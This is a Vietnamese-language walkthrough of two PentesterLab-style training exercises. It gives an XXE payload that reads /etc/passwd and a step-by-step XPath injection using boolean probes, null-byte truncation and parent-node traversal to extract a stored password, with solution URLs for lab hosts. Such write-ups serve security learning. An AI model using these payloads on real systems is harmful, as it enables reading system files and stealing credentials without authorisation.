Một số XML parser sẽ giải quyết các thực thể bên ngoài và sẽ cho phép người dùng kiểm soát thông điệp XML truy cập tài nguyên; ví dụ để đọc một tệp trên hệ thống. Thực thể sau có thể được khai báo, ví dụ:
1 |
<!ENTITY x SYSTEM "file:///etc/passwd"> |
Bạn sẽ cần phải bao thư này đúng cách, để làm cho nó hoạt động chính xác:
1 2 |
<!DOCTYPE test [ <!ENTITY x SYSTEM "file:///etc/passwd">]> |
Sau đó, bạn có thể chỉ cần sử dụng tham chiếu đến x: &x; (đừng quên mã hóa &) để lấy kết quả tương ứng được chèn vào tài liệu XML trong quá trình phân tích cú pháp của nó (phía máy chủ).
XML Attacks 01
Cách giải bài tập này:
https://ptl-339ca851-bd93960d.libcurl.st/?xml=<!DOCTYPE test [ <!ENTITY x SYSTEM “file:///etc/passwd”>]>test>%26x;</test>
XML Attacks 02
Trong ví dụ này, mã sử dụng input từ người dùng, bên trong biểu thức XPath. XPath là một ngôn ngữ truy vấn, nó chọn các nút từ một tài liệu XML. Hãy tưởng tượng tài liệu XML như một cơ sở dữ liệu và XPath như một truy vấn SQL. Nếu bạn có thể thao tác với truy vấn, bạn sẽ có thể truy xuất các phần tử mà bạn thường không có quyền truy cập.
Nếu chúng tôi đưa ra single quote, chúng tôi có thể thấy lỗi sau:
1 2 3 |
Warning: SimpleXMLElement::xpath(): Invalid predicate in /var/www/index.php on line 22 Warning: SimpleXMLElement::xpath(): xmlXPathEval: evaluation failed in /var/www/index.php on line 22 Warning: Variable passed to each() is not an array or object in /var/www/index.php on line 23 |
Cũng giống như SQL injection, XPath cho phép bạn thực hiện logic boolean và bạn có thể thử:
- ‘ and ‘1’=’1 and you should get the same result.
- ‘ or ‘1’=’0 and you should get the same result.
- ‘ and ‘1’=’0 and you should not get any result.
- ‘ or ‘1’=’1 and you should get all results.
Dựa trên những bài kiểm tra này và kiến thức trước đây về XPath, có thể biết được biểu thức XPath trông như thế nào:
1 |
[PARENT NODES]/name[.='[INPUT]']/[CHILD NODES] |
Để comment phần còn lại của biểu thức XPath, bạn có thể sử dụng NULL BYTE (bạn sẽ cần mã hóa thành %00). Như chúng ta có thể thấy trong biểu thức XPath ở trên, chúng ta cũng cần thêm dấu ] để hoàn thành đúng cú pháp. Payload của chúng tôi bây giờ trông giống như hacker']%00 (hoặc hacker' or 1=1]%00 nếu chúng tôi muốn có tất cả kết quả).
Nếu chúng ta cố gắng tìm nút con của nút hiện tại, sử dụng '%20or%201=1]/child::node()%00 , chúng ta không nhận được nhiều thông tin.
Ở đây, vấn đề là chúng ta cần sao lưu trong hệ thống phân cấp nút, để có thêm thông tin. Trong XPath, điều này có thể được thực hiện bằng cách sử dụng cha :: * như một phần của payload. Bây giờ chúng ta có thể chọn nút cha của nút hiện tại và hiển thị tất cả nút con bằng cách sử dụng hacker'%20or%201=1]/parent::*/child::node()%00 .
Một trong những giá trị của nút trông giống như một mật khẩu. Chúng tôi có thể xác nhận điều này, bằng cách kiểm tra xem tên của nút có phải là mật khẩu hay không bằng cách sử dụng payload hacker']/parent::*/password%00 .
http://ptl-55e50692-b60c4657.libcurl.st/?name=hacker&password=pentesterlab